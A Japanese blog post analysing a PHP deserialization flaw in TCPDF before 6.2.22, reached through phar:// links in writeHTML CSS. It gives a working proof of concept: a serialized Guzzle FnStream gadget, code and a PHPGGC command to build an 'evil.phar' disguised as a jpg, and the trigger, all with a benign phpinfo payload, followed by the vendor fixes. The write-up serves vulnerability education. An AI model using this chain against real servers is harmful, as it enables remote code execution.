TCPDF はPHPのPDF出力ライブラリとしてよく利用されていますが、バージョン6.2.22 未満にはデシリアライゼーションに関する脆弱性が報告されています。
JVNDB-2018-010843 - JVN iPedia - 脆弱性対策情報データベース
https://jvndb.jvn.jp/ja/contents/2018/JVNDB-2018-010843.html
今回はこの脆弱性について詳しく見てみたいと思います。
デシリアライゼーションに関する脆弱性とは
本題に入る前にデシリアライゼーションに関する脆弱性(CWE-502: Deserialization of Untrusted Data)について簡単に触れておきます。
API連携でオブジェクトを送信したり、オブジェクトをセッションやDBに永続化するためにserialize
(値の保存可能な表現を生成する)とunserialize
(保存用表現から PHP の値を生成する )を使うことはよくあります。このunserialize
についてPHPの公式ドキュメントには以下のような注意が記載されています。
ユーザーからの入力をそのまま unserialize() に渡してはいけません。 アンシリアライズの時には、オブジェクトのインスタンス生成やオートローディングなどで コードが実行されることがあり、悪意のあるユーザーがこれを悪用するかもしれないからです。 via 公式ドキュメント
オブジェクトは生成されるタイミングで__construct
が実行され、破棄されるタイミングで__destruct
が実行されます。加えて、オブジェクトのデシリアライズ(アンシリアライズ)時には、オブジェクトに定義されているメンバ関数 __wakeup()
が自動的に実行されます。
class Hoge
{
public function __construct()
{
// インスタンス生成時に実行される
}
public function __destruct()
{
// インスタンス破棄時に実行される
}
public function __wakeup()
{
// デシリアライズ時に実行される
}
}
例えば、以下のようなクラスがあったらインスタンスが破棄されるタイミングでecho 'hoge'
が実行されます。
class Hoge
{
public function __destruct()
{
echo 'hoge';
}
}
つまり、シリアライズしたこのクラスをデシリアライズしてインスタンス化し、インスタンス不要になって破棄されたタイミングでecho 'hoge'
が実行されます。
$data = 'O:4:"Hoge":0:{}'; // シリアライズされたオブジェクト
$hoge = unserialize($data);
$hoge = null; // hogeが出力される
では、攻撃者が以下のような不正なクラスをシリアライズしてターゲットに送り、ターゲットがデシリアライズしたらどうなるでしょう?
class Hoge
{
public function __destruct()
{
phpinfo();
}
}
不正なクラスがインスタンス化されphpinfo
が実行される...とはならず、__PHP_Incomplete_Class
がインスタンス化されます。このクラスがターゲット側に定義されていないので当然と言えば当然ですね
$data = 'O:4:"Hoge":0:{}'; // シリアライズされたオブジェクト
$hoge = unserialize($data); // __PHP_Incomplete_Class
$hoge = null; // 何も起こらない
では、LaravelやSymfonyなどのフレームワークを使っていて、フレームワーク本体もしくは依存ライブラリの中に問題のあるクラスがあったらどうなるでしょう?例えば有名なHTTPクライアントライブラリにGuzzleがあります。このライブラリはLaravelの依存ライブラリでもあるのですが、ライブラリに同梱されているPSR-7実装のバージョン1.4.2以前には以下のようなクラスがあります(下記コードは必要な部分だけ抜粋してます)。
class FnStream implements StreamInterface
{
public function __construct(array $methods)
{
$this->methods = $methods;
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
__destruct
で_fn_close
という関数を実行しています。では、このクラスを以下のように引数を渡してインスタンス化したらどうなるでしょう?
$stream = new GuzzleHttp\Psr7\FnStream(['close' => "phpinfo"]);
この場合、インスタンスが破棄されたタイミングでphpinfo
が実行されます。もし、攻撃者が上記のようなオブジェクトをシリアライズしてターゲットに渡し、ターゲットがデシリアライズすれば悪意のあるコードが実行されてしまいます(Laravelなどのフレームワークでは依存ライブラリはオートローダーによって名前解決され読み込まれるようになっていますので、最初の例のように__PHP_Incomplete_Class
になることはありません)。
// シリアライズされたオブジェクト(攻撃者から渡されたと仮定)
$data = <<<EOT
O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\0GuzzleHttp\Psr7\FnStream\0methods";a:1:{s:5:"close";s:7:"phpinfo";}s:9:"_fn_close";s:7:"phpinfo";}
EOT;
$hoge = unserialize($data);
$hoge = null; // __destruct経由でphpinfoが実行される
簡単な説明でしたが、ここまででデシリアライゼーションに関する脆弱性について何となくご理解頂けたかと思います。
デシリアライゼーションに関する脆弱性については徳丸先生がブログでご紹介されていますので、そちらも併せてご参照ください。
安全でないデシリアライゼーション(Insecure Deserialization)入門
また、過去にWordPressの脆弱性で実例をご紹介させて頂きましたので興味のある方はご覧になってください。
Webアプリケーションの脆弱性ケーススタディ(WordPress編その2)
TCPDFの脆弱性詳細
前章で脆弱性の概要を説明しましたので、ここから本題のTCPDFの脆弱性について見ていきたいと思います。TCPDFにはwriteHTML
というメソッドがあります。メソッド名から分かるようにHTMLタグを使ってPDFの文章を整形・装飾することができる機能です。
実際のサンプル
https://tcpdf.org/examples/example_006/
このメソッドはHTMLタグに直接style属性を書いてスタイルを適用するだけでなく、外部CSSを渡してスタイルを適用することもできます。
// style属性でスタイルを適用する
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->AddPage();
$html = '<h1 style="color:#f00">hello</h1>';
$pdf->writeHTML($html, true, false, true, false, '');
$pdf->Output('/path/to/test.pdf', 'F');
// 外部CSSでスタイルを適用する
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->AddPage();
$html = '<link type="text/css" href="/path/to/test.css">';
$html .= '<h1>hello</h1>';
$pdf->writeHTML($html, true, false, true, false, '');
$pdf->Output('/path/to/test.pdf', 'F');
下記のコードはこの外部ファイルを読み込んでいるところの処理を抜粋したものです。linkタグを正規表現で分解して、fileGetContents
というメソッドで指定されたURIからファイルを読み込んでいます。
if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
foreach ($matches[1] as $key => $link) {
$type = array();
if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
$type = array();
preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);
if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
$type = array();
if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
// read CSS data file
$cssdata = TCPDF_STATIC::fileGetContents(trim($type[1]));
if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
$css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
}
}
}
}
}
}
そして下記のコードがfileGetContents
メソッドの中身になります。指定した外部ファイルのパスがローカルファイルかhttp/httpsもしくはその他のプロトコルかどうかでパスを再構築し、file_get_contents
で外部ファイルをテキストデータとして読み込んでいることが分かります。
public static function fileGetContents($file) {
$alt = array($file);
if ((strlen($file) > 1)
&& ($file[0] === '/')
&& ($file[1] !== '/')
&& !empty($_SERVER['DOCUMENT_ROOT'])
&& ($_SERVER['DOCUMENT_ROOT'] !== '/')
) {
$findroot = strpos($file, $_SERVER['DOCUMENT_ROOT']);
if (($findroot === false) || ($findroot > 1)) {
$alt[] = htmlspecialchars_decode(urldecode($_SERVER['DOCUMENT_ROOT'].$file));
}
}
$protocol = 'http';
if (!empty($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) != 'off')) {
$protocol .= 's';
}
$url = $file;
if (preg_match('%^//%', $url) && !empty($_SERVER['HTTP_HOST'])) {
$url = $protocol.':'.str_replace(' ', '%20', $url);
}
$url = htmlspecialchars_decode($url);
$alt[] = $url;
if (preg_match('%^(https?)://%', $url)
&& empty($_SERVER['HTTP_HOST'])
&& empty($_SERVER['DOCUMENT_ROOT'])
) {
$urldata = parse_url($url);
if (empty($urldata['query'])) {
$host = $protocol.'://'.$_SERVER['HTTP_HOST'];
if (strpos($url, $host) === 0) {
$tmp = str_replace($host, $_SERVER['DOCUMENT_ROOT'], $url);
$alt[] = htmlspecialchars_decode(urldecode($tmp));
}
}
}
if (isset($_SERVER['SCRIPT_URI'])
&& !preg_match('%^(https?|ftp)://%', $file)
&& !preg_match('%^//%', $file)
) {
$urldata = @parse_url($_SERVER['SCRIPT_URI']);
$alt[] = $urldata['scheme'].'://'.$urldata['host'].(($file[0] == '/') ? '' : '/').$file;
}
$alt = array_unique($alt);
foreach ($alt as $path) {
$ret = @file_get_contents($path);
if ($ret !== false) {
return $ret;
}
if (!ini_get('allow_url_fopen')
&& function_exists('curl_init')
&& preg_match('%^(https?|ftp)://%', $path)
) {
// 省略
}
}
return false;
}
上記のコードを見る限りではデシリアライズ処理が入っておらず、デシリアライゼーションに関する脆弱性はどこにもないように見えます。しかし、ある特殊なケースにおいて上記コードは問題になります。
file_get_contentsがサポートするプロトコルラッパー
公式ドキュメントのfile_get_contents
を注意深く読んでいくと以下のような記述があります。
fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。 via 公式ドキュメント
そして上記で言及されているプロトコルラッパーを列挙すると以下のようになります。
- file:// — ローカルファイルシステムへのアクセス
- http:// — HTTP(s) URL へのアクセス
- ftp:// — FTP(s) URL へのアクセス
- php:// — さまざまな入出力ストリームへのアクセス
- zlib:// — 圧縮ストリーム
- data:// — データ (RFC 2397)
- glob:// — パターンにマッチするパス名の検索
- phar:// — PHP アーカイブ
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — オーディオストリーム
- expect:// — 対話的プロセスストリーム
via 公式ドキュメント
一般的なものから馴染みのないものまでいろいろありますが、今回の脆弱性ではphar://
が攻撃ベクターになります。
Phar(PHP Archive)
Phar って何? という人も多いかと思いますが、JavaのJARと同じようなものと言えばイメージが湧くかと思います。公式ドキュメントには以下のように紹介されています。
Phar アーカイブは、複数のファイルをひとつにまとめるための便利な仕組みです。 Phar アーカイブを使用すれば、PHP のアプリケーションをひとつのファイルとして配布できるようになります。 また、それをディスク上に展開しなくてもそのまま実行できるのです。 さらに、他のファイルと同様に PHP から phar アーカイブを実行することができます。 コマンドラインとウェブサーバー経由のどちらでも実行可能です。 phar は、いわば PHP アプリケーションにおける thumb drive のようなものです。 via 公式ドキュメント
試しに以下のようにディレクトリの中に2つのPHPファイルを作成してPharでアーカイブしてみます。
📂 sample
📄 index.php
📄 sample.php
<?php
echo 'Welcome.';
<?php
echo 'Hello World.';
そしてCLIからPharアーカイブを作成します。
root@dev:~$ phar pack -f sample.phar sample/
作成されたPharアーカイブを読み込んでみます。
<?php
// index.phpが読み込まれ、「Welcome.」が表示される
include './sample.phar';
// sample.phpが読み込まれ、「Hello World.」が表示される
include 'phar://./sample.phar/sample.php';
今度はPharアーカイブをfile_get_contents
で読み込んでみます。この場合、ただのテキストデータとして読み込まれます。
<?php
$ret = file_get_contents('phar://./sample.phar/sample.php');
var_dump($ret); // string '<?php echo 'Hello World.';' (length=29)
では次にPharアーカイブにメタデータをセットしてみます。メタデータとはPharアーカイブの付属情報で自由にセットすることができます。
# -mオプションにシリアライズしたデータを渡す
root@dev:~$ phar meta-set -f sample.phar -m 'O:4:"Hoge":0:{}'
再度Pharアーカイブをfile_get_contents
で読み込んでみます。
class Hoge
{
public function __destruct()
{
echo 'Hello World';
}
}
$ret = @file_get_contents('phar://./sample.phar');
// 「Hello World」が出力される
今度はメタデータがデシリアライズされ、__destruct
が実行されてしまいました。
ここまでで今回のTCPDFの脆弱性がどのようなものか大体ご理解頂けたかと思います。では、実際に試してみたいと思います。
まず、不正なPharアーカイブを作成します。先程はCLIから作成しましたが、今度はPHPで作成します。
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('dummy.txt', 'dummy');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata(new GuzzleHttp\Psr7\FnStream(['close' => "phpinfo"]));
$phar->stopBuffering();
この他にもPHPGGC(PHP Generic Gadget Chains)というツールを使って作成することもできます。
# Guzzleのリモートコード実行ペイロードを含むPharアーカイブを作成
root@dev:~$ ./phpggc -p phar -o evil.phar Guzzle/INFO1
次に作成したPharアーカイブをlinkタグで読み込んでPDF出力してみます。ここでは、拡張子をjpgに偽装してサーバへのアップロードに成功したというシナリオで試してみます。
require_once('./tcpdf/tcpdf.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->AddPage();
$html = '<link type="text/css" href="phar://./evil.jpg">';
$pdf->writeHTML($html, true, false, true, false, '');
$pdf->Output('/path/to/poc.pdf', 'F');
上記プログラムにブラウザからアクセスするとphpinfo
が実行されてしまいました。
もし、アプリにアップロード機能があって拡張子のチェックしか行っておらず不正なファイルをアップロードできる状態であり、PDFの出力でユーザー入力値を未検証のまま受け入れていたら容易に不正なプログラムを実行できることがお分かり頂けたかと思います。
最後に
file_get_contents
はよく利用される関数かと思いますが、今回のようなケースを初めて知ったという方も多いかと思います。使用しているフレームワークやライブラリに脆弱性が見つかったら即アップデートすることは当然ですが、実際にどのような脆弱性だったのか調べてみると意外な発見があって勉強になるかと思います。セキュリティに興味のある方は試してみてください。
なお、TCPDFではこの脆弱性に対してプロトコルを限定するチェックを入れることで対策しています。
$alt = array_unique($alt);
foreach ($alt as $path) {
// file_existsの中でローカルパスかhttp/httpsプロトコルのみに限定している
if (!self::file_exists($path)) {
continue;
}
$ret = @file_get_contents($path);
if ($ret !== false) {
return $ret;
}
また、GuzzleのFnStreamも__wakeup
が追加されてデシリアライズ時にはエラーになるように修正されています。
class FnStream implements StreamInterface
{
public function __construct(array $methods)
{
$this->methods = $methods;
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
public function __wakeup()
{
throw new \LogicException('FnStream should never be unserialized');
}
}